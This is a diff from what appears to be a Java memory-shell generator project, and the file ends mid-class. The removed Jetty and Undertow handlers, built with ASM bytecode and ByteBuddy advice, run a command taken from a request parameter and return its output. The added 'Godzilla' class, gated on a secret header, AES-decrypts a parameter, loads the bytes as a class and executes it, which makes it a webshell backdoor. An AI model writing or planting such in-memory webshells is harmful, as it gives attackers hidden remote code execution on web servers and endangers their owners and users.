||||
Process exec = Runtime.getRuntime().exec(cmd);
|
||||
InputStream inputStream = exec.getInputStream();
|
||||
OutputStream outputStream = (OutputStream) response.getClass().getMethod("getOutputStream").invoke(response);
|
||||
byte[] buf = new byte[8192];
|
||||
int length;
|
||||
while ((length = inputStream.read(buf)) != -1) {
|
||||
outputStream.write(buf, 0, length);
|
||||
}
|
||||
return true;
|
||||
}
|
||||
} catch (Exception ignored) {
|
||||
}
|
||||
return false;
|
||||
}
|
||||
}
|
||||
-196
@@ -1,196 +0,0 @@
|
||||
package com.reajason.javaweb.memshell.shelltool.command.jetty;
|
||||
|
||||
import org.objectweb.asm.Label;
|
||||
import org.objectweb.asm.MethodVisitor;
|
||||
import org.objectweb.asm.Opcodes;
|
||||
import org.objectweb.asm.Type;
|
||||
|
||||
/**
|
||||
* @author ReaJason
|
||||
*/
|
||||
public class CommandHandlerAsmMethodVisitor extends MethodVisitor {
|
||||
|
||||
private final Type[] argumentTypes;
|
||||
|
||||
public CommandHandlerAsmMethodVisitor(MethodVisitor mv, Type[] argumentTypes) {
|
||||
super(Opcodes.ASM9, mv);
|
||||
this.argumentTypes = argumentTypes;
|
||||
}
|
||||
|
||||
@Override
|
||||
public void visitCode() {
|
||||
super.visitCode();
|
||||
|
||||
// Calculate the first available local variable index
|
||||
int startIndex = 1;
|
||||
for (Type type : argumentTypes) {
|
||||
startIndex += type.getSize();
|
||||
}
|
||||
|
||||
// Explicitly define indices for all local variables
|
||||
int paramNameIndex = startIndex;
|
||||
int cmdIndex = startIndex + 1;
|
||||
int processIndex = startIndex + 2;
|
||||
int inputStreamIndex = startIndex + 3;
|
||||
int outputStreamIndex = startIndex + 4;
|
||||
int bufferIndex = startIndex + 5;
|
||||
int lengthIndex = startIndex + 6;
|
||||
int exceptionIndex = startIndex + 7;
|
||||
|
||||
// Access method arguments - adjust based on whether method is static or not
|
||||
int baseRequestIndex = 2; // Arg index 1
|
||||
int requestIndex = 3; // Arg index 2
|
||||
int responseIndex = 4; // Arg index 3
|
||||
|
||||
// Define our parameter name
|
||||
mv.visitLdcInsn("paramName");
|
||||
mv.visitVarInsn(Opcodes.ASTORE, paramNameIndex);
|
||||
|
||||
// Define labels for try-catch
|
||||
Label tryStart = new Label();
|
||||
Label tryEnd = new Label();
|
||||
Label catchHandler = new Label();
|
||||
Label returnFalseLabel = new Label();
|
||||
|
||||
// Register the try-catch block
|
||||
mv.visitTryCatchBlock(tryStart, tryEnd, catchHandler, "java/lang/Exception");
|
||||
|
||||
// Start of try block
|
||||
mv.visitLabel(tryStart);
|
||||
|
||||
// Get the parameter: cmd = (String) request.getClass().getMethod("getParameter", String.class).invoke(request, paramName)
|
||||
mv.visitVarInsn(Opcodes.ALOAD, requestIndex); // Load request (first param)
|
||||
mv.visitMethodInsn(Opcodes.INVOKEVIRTUAL, "java/lang/Object", "getClass",
|
||||
"()Ljava/lang/Class;", false);
|
||||
mv.visitLdcInsn("getParameter");
|
||||
mv.visitInsn(Opcodes.ICONST_1);
|
||||
mv.visitTypeInsn(Opcodes.ANEWARRAY, "java/lang/Class");
|
||||
mv.visitInsn(Opcodes.DUP);
|
||||
mv.visitInsn(Opcodes.ICONST_0);
|
||||
mv.visitLdcInsn(Type.getType("Ljava/lang/String;"));
|
||||
mv.visitInsn(Opcodes.AASTORE);
|
||||
mv.visitMethodInsn(Opcodes.INVOKEVIRTUAL, "java/lang/Class", "getMethod",
|
||||
"(Ljava/lang/String;[Ljava/lang/Class;)Ljava/lang/reflect/Method;", false);
|
||||
|
||||
// Invoke the getParameter method
|
||||
mv.visitVarInsn(Opcodes.ALOAD, requestIndex); // Load request object
|
||||
mv.visitInsn(Opcodes.ICONST_1);
|
||||
mv.visitTypeInsn(Opcodes.ANEWARRAY, "java/lang/Object");
|
||||
mv.visitInsn(Opcodes.DUP);
|
||||
mv.visitInsn(Opcodes.ICONST_0);
|
||||
mv.visitVarInsn(Opcodes.ALOAD, paramNameIndex); // Load paramName
|
||||
mv.visitInsn(Opcodes.AASTORE);
|
||||
mv.visitMethodInsn(Opcodes.INVOKEVIRTUAL, "java/lang/reflect/Method", "invoke",
|
||||
"(Ljava/lang/Object;[Ljava/lang/Object;)Ljava/lang/Object;", false);
|
||||
mv.visitTypeInsn(Opcodes.CHECKCAST, "java/lang/String");
|
||||
mv.visitVarInsn(Opcodes.ASTORE, cmdIndex); // Store cmd in local var 4
|
||||
|
||||
// If cmd == null, return false
|
||||
mv.visitVarInsn(Opcodes.ALOAD, cmdIndex);
|
||||
mv.visitJumpInsn(Opcodes.IFNULL, returnFalseLabel);
|
||||
|
||||
// Set baseRequest.setHandled(true)
|
||||
mv.visitVarInsn(Opcodes.ALOAD, baseRequestIndex);
|
||||
mv.visitMethodInsn(Opcodes.INVOKEVIRTUAL, "java/lang/Object", "getClass", "()Ljava/lang/Class;", false);
|
||||
mv.visitLdcInsn("setHandled");
|
||||
mv.visitInsn(Opcodes.ICONST_1);
|
||||
mv.visitTypeInsn(Opcodes.ANEWARRAY, "java/lang/Class");
|
||||
mv.visitInsn(Opcodes.DUP);
|
||||
mv.visitInsn(Opcodes.ICONST_0);
|
||||
mv.visitFieldInsn(Opcodes.GETSTATIC, "java/lang/Boolean", "TYPE", "Ljava/lang/Class;");
|
||||
mv.visitInsn(Opcodes.AASTORE);
|
||||
mv.visitMethodInsn(Opcodes.INVOKEVIRTUAL, "java/lang/Class", "getMethod", "(Ljava/lang/String;[Ljava/lang/Class;)Ljava/lang/reflect/Method;", false);
|
||||
mv.visitVarInsn(Opcodes.ALOAD, baseRequestIndex);
|
||||
mv.visitInsn(Opcodes.ICONST_1);
|
||||
mv.visitTypeInsn(Opcodes.ANEWARRAY, "java/lang/Object");
|
||||
mv.visitInsn(Opcodes.DUP);
|
||||
mv.visitInsn(Opcodes.ICONST_0);
|
||||
mv.visitInsn(Opcodes.ICONST_1);
|
||||
mv.visitMethodInsn(Opcodes.INVOKESTATIC, "java/lang/Boolean", "valueOf", "(Z)Ljava/lang/Boolean;", false);
|
||||
mv.visitInsn(Opcodes.AASTORE);
|
||||
mv.visitMethodInsn(Opcodes.INVOKEVIRTUAL, "java/lang/reflect/Method", "invoke", "(Ljava/lang/Object;[Ljava/lang/Object;)Ljava/lang/Object;", false);
|
||||
mv.visitInsn(Opcodes.POP);
|
||||
|
||||
// Execute the command: Process exec = Runtime.getRuntime().exec(cmd);
|
||||
mv.visitMethodInsn(Opcodes.INVOKESTATIC, "java/lang/Runtime", "getRuntime", "()Ljava/lang/Runtime;", false);
|
||||
mv.visitVarInsn(Opcodes.ALOAD, cmdIndex);
|
||||
mv.visitMethodInsn(Opcodes.INVOKEVIRTUAL, "java/lang/Runtime", "exec", "(Ljava/lang/String;)Ljava/lang/Process;", false);
|
||||
mv.visitVarInsn(Opcodes.ASTORE, processIndex);
|
||||
|
||||
// Get input stream: InputStream inputStream = exec.getInputStream();
|
||||
mv.visitVarInsn(Opcodes.ALOAD, processIndex);
|
||||
mv.visitMethodInsn(Opcodes.INVOKEVIRTUAL, "java/lang/Process", "getInputStream", "()Ljava/io/InputStream;", false);
|
||||
mv.visitVarInsn(Opcodes.ASTORE, inputStreamIndex);
|
||||
|
||||
// Get response output stream: OutputStream outputStream = (OutputStream) response.getClass().getMethod("getOutputStream").invoke(response);
|
||||
mv.visitVarInsn(Opcodes.ALOAD, responseIndex);
|
||||
mv.visitMethodInsn(Opcodes.INVOKEVIRTUAL, "java/lang/Object", "getClass", "()Ljava/lang/Class;", false);
|
||||
mv.visitLdcInsn("getOutputStream");
|
||||
mv.visitInsn(Opcodes.ICONST_0);
|
||||
mv.visitTypeInsn(Opcodes.ANEWARRAY, "java/lang/Class");
|
||||
mv.visitMethodInsn(Opcodes.INVOKEVIRTUAL, "java/lang/Class", "getMethod", "(Ljava/lang/String;[Ljava/lang/Class;)Ljava/lang/reflect/Method;", false);
|
||||
mv.visitVarInsn(Opcodes.ALOAD, responseIndex);
|
||||
mv.visitInsn(Opcodes.ICONST_0);
|
||||
mv.visitTypeInsn(Opcodes.ANEWARRAY, "java/lang/Object");
|
||||
mv.visitMethodInsn(Opcodes.INVOKEVIRTUAL, "java/lang/reflect/Method", "invoke", "(Ljava/lang/Object;[Ljava/lang/Object;)Ljava/lang/Object;", false);
|
||||
mv.visitTypeInsn(Opcodes.CHECKCAST, "java/io/OutputStream");
|
||||
mv.visitVarInsn(Opcodes.ASTORE, outputStreamIndex);
|
||||
|
||||
// Create buffer: byte[] buf = new byte[8192];
|
||||
mv.visitIntInsn(Opcodes.SIPUSH, 8192);
|
||||
mv.visitIntInsn(Opcodes.NEWARRAY, Opcodes.T_BYTE);
|
||||
mv.visitVarInsn(Opcodes.ASTORE, bufferIndex);
|
||||
|
||||
// While loop to read and write data
|
||||
Label loopStart = new Label();
|
||||
Label loopEnd = new Label();
|
||||
|
||||
// Start of loop
|
||||
mv.visitLabel(loopStart);
|
||||
|
||||
// Read data: inputStream.read(buf)
|
||||
mv.visitVarInsn(Opcodes.ALOAD, inputStreamIndex);
|
||||
mv.visitVarInsn(Opcodes.ALOAD, bufferIndex);
|
||||
mv.visitMethodInsn(Opcodes.INVOKEVIRTUAL, "java/io/InputStream", "read", "([B)I", false);
|
||||
mv.visitVarInsn(Opcodes.ISTORE, lengthIndex);
|
||||
|
||||
// Check if length == -1
|
||||
mv.visitVarInsn(Opcodes.ILOAD, lengthIndex);
|
||||
mv.visitInsn(Opcodes.ICONST_M1);
|
||||
mv.visitJumpInsn(Opcodes.IF_ICMPEQ, loopEnd);
|
||||
|
||||
// Write data: outputStream.write(buf, 0, length)
|
||||
mv.visitVarInsn(Opcodes.ALOAD, outputStreamIndex);
|
||||
mv.visitVarInsn(Opcodes.ALOAD, bufferIndex);
|
||||
mv.visitInsn(Opcodes.ICONST_0);
|
||||
mv.visitVarInsn(Opcodes.ILOAD, lengthIndex);
|
||||
mv.visitMethodInsn(Opcodes.INVOKEVIRTUAL, "java/io/OutputStream", "write", "([BII)V", false);
|
||||
|
||||
// Go back to start of loop
|
||||
mv.visitJumpInsn(Opcodes.GOTO, loopStart);
|
||||
|
||||
// End of loop
|
||||
mv.visitLabel(loopEnd);
|
||||
|
||||
// Return from the method without calling original doFilter
|
||||
mv.visitInsn(Opcodes.RETURN);
|
||||
|
||||
// If cmd is null, continue with original method
|
||||
mv.visitLabel(returnFalseLabel);
|
||||
|
||||
// End of try block
|
||||
mv.visitLabel(tryEnd);
|
||||
|
||||
// Skip catch block if we didn't enter it
|
||||
Label afterCatch = new Label();
|
||||
mv.visitJumpInsn(Opcodes.GOTO, afterCatch);
|
||||
|
||||
// Start of catch block
|
||||
mv.visitLabel(catchHandler);
|
||||
// The exception is now on the stack
|
||||
mv.visitVarInsn(Opcodes.ASTORE, exceptionIndex); // Store exception in local var 10 and discard it
|
||||
|
||||
// End of catch block
|
||||
mv.visitLabel(afterCatch);
|
||||
}
|
||||
}
|
||||
-211
@@ -1,211 +0,0 @@
|
||||
package com.reajason.javaweb.memshell.shelltool.command.undertow;
|
||||
|
||||
import org.objectweb.asm.Label;
|
||||
import org.objectweb.asm.MethodVisitor;
|
||||
import org.objectweb.asm.Opcodes;
|
||||
import org.objectweb.asm.Type;
|
||||
|
||||
/**
|
||||
* @author ReaJason
|
||||
*/
|
||||
public class CommandServerInitialHandlerAsmMethodVisitor extends MethodVisitor {
|
||||
|
||||
private final Type[] argumentTypes;
|
||||
|
||||
public CommandServerInitialHandlerAsmMethodVisitor(MethodVisitor mv, Type[] argumentTypes) {
|
||||
super(Opcodes.ASM9, mv);
|
||||
this.argumentTypes = argumentTypes;
|
||||
}
|
||||
|
||||
@Override
|
||||
public void visitCode() {
|
||||
super.visitCode();
|
||||
|
||||
// First local variable index after method parameters
|
||||
int localVarIndex = 1;
|
||||
for (Type type : argumentTypes) {
|
||||
localVarIndex += type.getSize();
|
||||
}
|
||||
|
||||
// Define our parameter name
|
||||
mv.visitLdcInsn("paramName");
|
||||
int paramNameIndex = localVarIndex++;
|
||||
mv.visitVarInsn(Opcodes.ASTORE, paramNameIndex); // Store "paramName"
|
||||
|
||||
// Define labels for try-catch
|
||||
Label tryStart = new Label();
|
||||
Label tryEnd = new Label();
|
||||
Label catchHandler = new Label();
|
||||
|
||||
// Register the try-catch block
|
||||
mv.visitTryCatchBlock(tryStart, tryEnd, catchHandler, "java/lang/Exception");
|
||||
|
||||
// Start of try block
|
||||
mv.visitLabel(tryStart);
|
||||
|
||||
// Initialize servletRequestContext as null
|
||||
mv.visitInsn(Opcodes.ACONST_NULL);
|
||||
int servletRequestContextIndex = localVarIndex++;
|
||||
mv.visitVarInsn(Opcodes.ASTORE, servletRequestContextIndex); // Store servletRequestContext
|
||||
|
||||
// Determine which argument is servletRequestContext
|
||||
// Check argumentTypes.length - if argumentTypes.length == 2, use arg[1], else use arg[2]
|
||||
if (argumentTypes.length == 2) {
|
||||
// Access first argument (adjusted for static/instance method)
|
||||
mv.visitVarInsn(Opcodes.ALOAD, 2);
|
||||
} else {
|
||||
// Access second argument (adjusted for static/instance method)
|
||||
mv.visitVarInsn(Opcodes.ALOAD, 3);
|
||||
}
|
||||
|
||||
mv.visitVarInsn(Opcodes.ASTORE, servletRequestContextIndex); // Store in servletRequestContext variable
|
||||
|
||||
// Get request: request = servletRequestContext.getClass().getMethod("getServletRequest").invoke(servletRequestContext)
|
||||
mv.visitVarInsn(Opcodes.ALOAD, servletRequestContextIndex); // Load servletRequestContext
|
||||
mv.visitMethodInsn(Opcodes.INVOKEVIRTUAL, "java/lang/Object", "getClass", "()Ljava/lang/Class;", false);
|
||||
mv.visitLdcInsn("getServletRequest");
|
||||
mv.visitInsn(Opcodes.ICONST_0);
|
||||
mv.visitTypeInsn(Opcodes.ANEWARRAY, "java/lang/Class");
|
||||
mv.visitMethodInsn(Opcodes.INVOKEVIRTUAL, "java/lang/Class", "getMethod", "(Ljava/lang/String;[Ljava/lang/Class;)Ljava/lang/reflect/Method;", false);
|
||||
mv.visitVarInsn(Opcodes.ALOAD, servletRequestContextIndex); // Load servletRequestContext
|
||||
mv.visitInsn(Opcodes.ICONST_0);
|
||||
mv.visitTypeInsn(Opcodes.ANEWARRAY, "java/lang/Object");
|
||||
mv.visitMethodInsn(Opcodes.INVOKEVIRTUAL, "java/lang/reflect/Method", "invoke", "(Ljava/lang/Object;[Ljava/lang/Object;)Ljava/lang/Object;", false);
|
||||
int requestIndex = localVarIndex++;
|
||||
mv.visitVarInsn(Opcodes.ASTORE, requestIndex); // Store request
|
||||
|
||||
// Get response: response = servletRequestContext.getClass().getMethod("getServletResponse").invoke(servletRequestContext)
|
||||
mv.visitVarInsn(Opcodes.ALOAD, servletRequestContextIndex); // Load servletRequestContext
|
||||
mv.visitMethodInsn(Opcodes.INVOKEVIRTUAL, "java/lang/Object", "getClass", "()Ljava/lang/Class;", false);
|
||||
mv.visitLdcInsn("getServletResponse");
|
||||
mv.visitInsn(Opcodes.ICONST_0);
|
||||
mv.visitTypeInsn(Opcodes.ANEWARRAY, "java/lang/Class");
|
||||
mv.visitMethodInsn(Opcodes.INVOKEVIRTUAL, "java/lang/Class", "getMethod", "(Ljava/lang/String;[Ljava/lang/Class;)Ljava/lang/reflect/Method;", false);
|
||||
mv.visitVarInsn(Opcodes.ALOAD, servletRequestContextIndex); // Load servletRequestContext
|
||||
mv.visitInsn(Opcodes.ICONST_0);
|
||||
mv.visitTypeInsn(Opcodes.ANEWARRAY, "java/lang/Object");
|
||||
mv.visitMethodInsn(Opcodes.INVOKEVIRTUAL, "java/lang/reflect/Method", "invoke", "(Ljava/lang/Object;[Ljava/lang/Object;)Ljava/lang/Object;", false);
|
||||
int responseIndex = localVarIndex++;
|
||||
mv.visitVarInsn(Opcodes.ASTORE, responseIndex); // Store response
|
||||
|
||||
// Get the parameter: cmd = (String) request.getClass().getMethod("getParameter", String.class).invoke(request, paramName)
|
||||
mv.visitVarInsn(Opcodes.ALOAD, requestIndex); // Load request (first param)
|
||||
mv.visitMethodInsn(Opcodes.INVOKEVIRTUAL, "java/lang/Object", "getClass",
|
||||
"()Ljava/lang/Class;", false);
|
||||
mv.visitLdcInsn("getParameter");
|
||||
mv.visitInsn(Opcodes.ICONST_1);
|
||||
mv.visitTypeInsn(Opcodes.ANEWARRAY, "java/lang/Class");
|
||||
mv.visitInsn(Opcodes.DUP);
|
||||
mv.visitInsn(Opcodes.ICONST_0);
|
||||
mv.visitLdcInsn(Type.getType("Ljava/lang/String;"));
|
||||
mv.visitInsn(Opcodes.AASTORE);
|
||||
mv.visitMethodInsn(Opcodes.INVOKEVIRTUAL, "java/lang/Class", "getMethod",
|
||||
"(Ljava/lang/String;[Ljava/lang/Class;)Ljava/lang/reflect/Method;", false);
|
||||
|
||||
// Invoke the getParameter method
|
||||
mv.visitVarInsn(Opcodes.ALOAD, requestIndex); // Load request object
|
||||
mv.visitInsn(Opcodes.ICONST_1);
|
||||
mv.visitTypeInsn(Opcodes.ANEWARRAY, "java/lang/Object");
|
||||
mv.visitInsn(Opcodes.DUP);
|
||||
mv.visitInsn(Opcodes.ICONST_0);
|
||||
mv.visitVarInsn(Opcodes.ALOAD, paramNameIndex); // Load paramName
|
||||
mv.visitInsn(Opcodes.AASTORE);
|
||||
mv.visitMethodInsn(Opcodes.INVOKEVIRTUAL, "java/lang/reflect/Method", "invoke",
|
||||
"(Ljava/lang/Object;[Ljava/lang/Object;)Ljava/lang/Object;", false);
|
||||
mv.visitTypeInsn(Opcodes.CHECKCAST, "java/lang/String");
|
||||
int cmdValueIndex = localVarIndex++;
|
||||
mv.visitVarInsn(Opcodes.ASTORE, cmdValueIndex); // Store cmd in local var 4
|
||||
|
||||
// Check if cmd is not null
|
||||
mv.visitVarInsn(Opcodes.ALOAD, cmdValueIndex); // Load cmd
|
||||
Label ifNullLabel = new Label();
|
||||
mv.visitJumpInsn(Opcodes.IFNULL, ifNullLabel);
|
||||
|
||||
// Execute the command: Process exec = Runtime.getRuntime().exec(cmd);
|
||||
mv.visitMethodInsn(Opcodes.INVOKESTATIC, "java/lang/Runtime", "getRuntime", "()Ljava/lang/Runtime;", false);
|
||||
mv.visitVarInsn(Opcodes.ALOAD, cmdValueIndex); // Load cmd
|
||||
mv.visitMethodInsn(Opcodes.INVOKEVIRTUAL, "java/lang/Runtime", "exec", "(Ljava/lang/String;)Ljava/lang/Process;", false);
|
||||
int processIndex = localVarIndex++;
|
||||
mv.visitVarInsn(Opcodes.ASTORE, processIndex); // Store Process
|
||||
|
||||
// Get input stream: InputStream inputStream = exec.getInputStream();
|
||||
mv.visitVarInsn(Opcodes.ALOAD, processIndex); // Load Process
|
||||
mv.visitMethodInsn(Opcodes.INVOKEVIRTUAL, "java/lang/Process", "getInputStream", "()Ljava/io/InputStream;", false);
|
||||
int inputStreamIndex = localVarIndex++;
|
||||
mv.visitVarInsn(Opcodes.ASTORE, inputStreamIndex); // Store InputStream
|
||||
|
||||
// Get response output stream
|
||||
mv.visitVarInsn(Opcodes.ALOAD, responseIndex); // Load response
|
||||
mv.visitMethodInsn(Opcodes.INVOKEVIRTUAL, "java/lang/Object", "getClass", "()Ljava/lang/Class;", false);
|
||||
mv.visitLdcInsn("getOutputStream");
|
||||
mv.visitInsn(Opcodes.ICONST_0);
|
||||
mv.visitTypeInsn(Opcodes.ANEWARRAY, "java/lang/Class");
|
||||
mv.visitMethodInsn(Opcodes.INVOKEVIRTUAL, "java/lang/Class", "getMethod", "(Ljava/lang/String;[Ljava/lang/Class;)Ljava/lang/reflect/Method;", false);
|
||||
mv.visitVarInsn(Opcodes.ALOAD, responseIndex); // Load response
|
||||
mv.visitInsn(Opcodes.ICONST_0);
|
||||
mv.visitTypeInsn(Opcodes.ANEWARRAY, "java/lang/Object");
|
||||
mv.visitMethodInsn(Opcodes.INVOKEVIRTUAL, "java/lang/reflect/Method", "invoke", "(Ljava/lang/Object;[Ljava/lang/Object;)Ljava/lang/Object;", false);
|
||||
mv.visitTypeInsn(Opcodes.CHECKCAST, "java/io/OutputStream");
|
||||
int outputStreamIndex = localVarIndex++;
|
||||
mv.visitVarInsn(Opcodes.ASTORE, outputStreamIndex); // Store OutputStream
|
||||
|
||||
// Create buffer: byte[] buf = new byte[8192];
|
||||
mv.visitIntInsn(Opcodes.SIPUSH, 8192);
|
||||
mv.visitIntInsn(Opcodes.NEWARRAY, Opcodes.T_BYTE);
|
||||
int bufferIndex = localVarIndex++;
|
||||
mv.visitVarInsn(Opcodes.ASTORE, bufferIndex); // Store byte[] buffer
|
||||
|
||||
// While loop to read and write data
|
||||
Label loopStart = new Label();
|
||||
Label loopEnd = new Label();
|
||||
|
||||
// Start of loop
|
||||
mv.visitLabel(loopStart);
|
||||
|
||||
// Read data: inputStream.read(buf)
|
||||
mv.visitVarInsn(Opcodes.ALOAD, inputStreamIndex); // Load inputStream
|
||||
mv.visitVarInsn(Opcodes.ALOAD, bufferIndex); // Load buffer
|
||||
mv.visitMethodInsn(Opcodes.INVOKEVIRTUAL, "java/io/InputStream", "read", "([B)I", false);
|
||||
int lengthIndex = localVarIndex++;
|
||||
mv.visitVarInsn(Opcodes.ISTORE, lengthIndex); // Store length (note: not incrementing index yet)
|
||||
|
||||
// Check if length == -1
|
||||
mv.visitVarInsn(Opcodes.ILOAD, lengthIndex);
|
||||
mv.visitInsn(Opcodes.ICONST_M1);
|
||||
mv.visitJumpInsn(Opcodes.IF_ICMPEQ, loopEnd);
|
||||
|
||||
// Write data: outputStream.write(buf, 0, length)
|
||||
mv.visitVarInsn(Opcodes.ALOAD, outputStreamIndex); // Load outputStream
|
||||
mv.visitVarInsn(Opcodes.ALOAD, bufferIndex); // Load buffer
|
||||
mv.visitInsn(Opcodes.ICONST_0);
|
||||
mv.visitVarInsn(Opcodes.ILOAD, lengthIndex); // Load length
|
||||
mv.visitMethodInsn(Opcodes.INVOKEVIRTUAL, "java/io/OutputStream", "write", "([BII)V", false);
|
||||
|
||||
// Go back to start of loop
|
||||
mv.visitJumpInsn(Opcodes.GOTO, loopStart);
|
||||
|
||||
// End of loop
|
||||
mv.visitLabel(loopEnd);
|
||||
|
||||
// Return from the method without calling original doFilter
|
||||
mv.visitInsn(Opcodes.RETURN);
|
||||
|
||||
// If cmd is null, continue with original method
|
||||
mv.visitLabel(ifNullLabel);
|
||||
|
||||
// End of try block
|
||||
mv.visitLabel(tryEnd);
|
||||
|
||||
// Skip catch block if we didn't enter it
|
||||
Label afterCatch = new Label();
|
||||
mv.visitJumpInsn(Opcodes.GOTO, afterCatch);
|
||||
|
||||
// Start of catch block
|
||||
mv.visitLabel(catchHandler);
|
||||
// The exception is now on the stack
|
||||
mv.visitVarInsn(Opcodes.ASTORE, localVarIndex); // Store exception in local var 10 and discard it
|
||||
|
||||
// End of catch block
|
||||
mv.visitLabel(afterCatch);
|
||||
}
|
||||
}
|
||||
-43
@@ -1,43 +0,0 @@
|
||||
package com.reajason.javaweb.memshell.shelltool.command.undertow;
|
||||
|
||||
import net.bytebuddy.asm.Advice;
|
||||
|
||||
import java.io.InputStream;
|
||||
import java.io.OutputStream;
|
||||
|
||||
/**
|
||||
* @author ReaJason
|
||||
*/
|
||||
public class CommandServletInitialHandlerAdvisor {
|
||||
|
||||
@Advice.OnMethodEnter(skipOn = Advice.OnNonDefaultValue.class)
|
||||
public static boolean enter(
|
||||
@Advice.AllArguments Object[] args
|
||||
) {
|
||||
String paramName = "paramName";
|
||||
try {
|
||||
Object servletRequestContext = null;
|
||||
if (args.length == 2) {
|
||||
servletRequestContext = args[1];
|
||||
} else {
|
||||
servletRequestContext = args[2];
|
||||
}
|
||||
Object request = servletRequestContext.getClass().getMethod("getServletRequest").invoke(servletRequestContext);
|
||||
Object response = servletRequestContext.getClass().getMethod("getServletResponse").invoke(servletRequestContext);
|
||||
String cmd = (String) request.getClass().getMethod("getParameter", String.class).invoke(request, paramName);
|
||||
if (cmd != null) {
|
||||
Process exec = Runtime.getRuntime().exec(cmd);
|
||||
InputStream inputStream = exec.getInputStream();
|
||||
OutputStream outputStream = (OutputStream) response.getClass().getMethod("getOutputStream").invoke(response);
|
||||
byte[] buf = new byte[8192];
|
||||
int length;
|
||||
while ((length = inputStream.read(buf)) != -1) {
|
||||
outputStream.write(buf, 0, length);
|
||||
}
|
||||
return true;
|
||||
}
|
||||
} catch (Exception ignored) {
|
||||
}
|
||||
return false;
|
||||
}
|
||||
}
|
||||
+171
@@ -0,0 +1,171 @@
|
||||
package com.reajason.javaweb.memshell.shelltool.godzilla;
|
||||
|
||||
import java.io.ByteArrayOutputStream;
|
||||
import java.io.PrintWriter;
|
||||
import java.lang.reflect.Constructor;
|
||||
import java.lang.reflect.Field;
|
||||
import java.lang.reflect.Method;
|
||||
import java.security.Key;
|
||||
|
||||
/**
|
||||
* @author ReaJason
|
||||
*/
|
||||
public class Godzilla extends ClassLoader {
|
||||
public static String key;
|
||||
public static String pass;
|
||||
public static String md5;
|
||||
public static String headerName;
|
||||
public static String headerValue;
|
||||
|
||||
public Godzilla() {
|
||||
}
|
||||
|
||||
public Godzilla(ClassLoader z) {
|
||||
super(z);
|
||||
}
|
||||
|
||||
@Override
|
||||
public boolean equals(Object obj) {
|
||||
Object[] args = ((Object[]) obj);
|
||||
Object request = unwrapRequest(args[0]);
|
||||
Object response = unwrapResponse(args[1]);
|
||||
try {
|
||||
String value = (String) request.getClass().getMethod("getHeader", String.class).invoke(request, headerName);
|
||||
if (value != null && value.contains(headerValue)) {
|
||||
String parameter = (String) request.getClass().getMethod("getParameter", String.class).invoke(request, pass);
|
||||
byte[] data = base64Decode(parameter);
|
||||
data = this.x(data, false);
|
||||
Object session = request.getClass().getMethod("getSession").invoke(request);
|
||||
Object sessionPayload = session.getClass().getMethod("getAttribute", String.class).invoke(session, "payload");
|
||||
if (sessionPayload == null) {
|
||||
session.getClass().getMethod("setAttribute", String.class, Object.class).invoke(session, "payload", (new Godzilla(Thread.currentThread().getContextClassLoader())).Q(data));
|
||||
} else {
|
||||
request.getClass().getMethod("setAttribute", String.class, Object.class).invoke(request, "parameters", data);
|
||||
ByteArrayOutputStream arrOut = new ByteArrayOutputStream();
|
||||
Object f = ((Class<?>) sessionPayload).newInstance();
|
||||
PrintWriter writer = (PrintWriter) response.getClass().getMethod("getWriter").invoke(response);
|
||||
f.equals(arrOut);
|
||||
f.equals(request);
|
||||
writer.write(md5.substring(0, 16));
|
||||
f.toString();
|
||||
writer.write(base64Encode(this.x(arrOut.toByteArray(), true)));
|
||||
writer.write(md5.substring(16));
|
||||
}
|
||||
return true;
|
||||
}
|
||||
} catch (Exception ignored) {
|
||||
}
|
||||
return false;
|
||||
}
|
||||
|
||||
@SuppressWarnings("all")
|
||||
public static String base64Encode(byte[] bs) throws Exception {
|
||||
String value = null;
|
||||
Class<?> base64;
|
||||
try {
|
||||
base64 = Class.forName("java.util.Base64", true, Thread.currentThread().getContextClassLoader());
|
||||
Object encoder = base64.getMethod("getEncoder", (Class<?>[]) null).invoke(base64, (Object[]) null);
|
||||
value = (String) encoder.getClass().getMethod("encodeToString", byte[].class).invoke(encoder, bs);
|
||||
} catch (Exception var6) {
|
||||
try {
|
||||
base64 = Class.forName("sun.misc.BASE64Encoder", true, Thread.currentThread().getContextClassLoader());
|
||||
Object encoder = base64.newInstance();
|
||||
value = (String) encoder.getClass().getMethod("encode", byte[].class).invoke(encoder, bs);
|
||||
} catch (Exception ignored) {
|
||||
}
|
||||
}
|
||||
return value;
|
||||
}
|
||||
|
||||
@SuppressWarnings("all")
|
||||
public static byte[] base64Decode(String bs) {
|
||||
byte[] value = null;
|
||||
Class<?> base64;
|
||||
try {
|
||||
base64 = Class.forName("java.util.Base64", false, Thread.currentThread().getContextClassLoader());
|
||||
Object decoder = base64.getMethod("getDecoder", (Class<?>[]) null).invoke(base64, (Object[]) null);
|
||||
value = (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, bs);
|
||||
} catch (Exception var6) {
|
||||
try {
|
||||
base64 = Class.forName("sun.misc.BASE64Decoder", false, Thread.currentThread().getContextClassLoader());
|
||||
Object decoder = base64.newInstance();
|
||||
value = (byte[]) decoder.getClass().getMethod("decodeBuffer", String.class).invoke(decoder, bs);
|
||||
} catch (Exception ignored) {
|
||||
}
|
||||
}
|
||||
return value;
|
||||
}
|
||||
|
||||
@SuppressWarnings("all")
|
||||
public Class<?> Q(byte[] cb) {
|
||||
return super.defineClass(cb, 0, cb.length);
|
||||
}
|
||||
|
||||
public byte[] x(byte[] s, boolean m) {
|
||||
try {
|
||||
Class<?> cipherClass = Class.forName("javax.crypto.Cipher", true, Thread.currentThread().getContextClassLoader());
|
||||
Class<?> secretKeySpecClass = Class.forName("javax.crypto.spec.SecretKeySpec", true, Thread.currentThread().getContextClassLoader());
|
||||
Constructor<?> constructor = secretKeySpecClass.getConstructor(byte[].class, String.class);
|
||||
Method initMethod = cipherClass.getMethod("init", int.class, Key.class);
|
||||
Object c = cipherClass.getMethod("getInstance", String.class).invoke(null, "AES");
|
||||
|
||||
initMethod.invoke(c, m ? 1 : 2, constructor.newInstance(key.getBytes(), "AES"));
|
||||
Method doFinalMethod = cipherClass.getMethod("doFinal", byte[].class);
|
||||
return ((byte[]) doFinalMethod.invoke(c, s));
|
||||
} catch (Exception var4) {
|
||||
return null;
|
||||
}
|
||||
}
|
||||
|
||||
public Object unwrapRequest(Object request) {
|
||||
Object internalRequest = request;
|
||||
while (true) {
|
||||
try {
|
||||
Object r = getFieldValue(request, "request");
|
||||
if (r == internalRequest) {
|
||||
return r;
|
||||
} else {
|
||||
internalRequest = r;
|
||||
}
|
||||
} catch (Exception e) {
|
||||
return internalRequest;
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
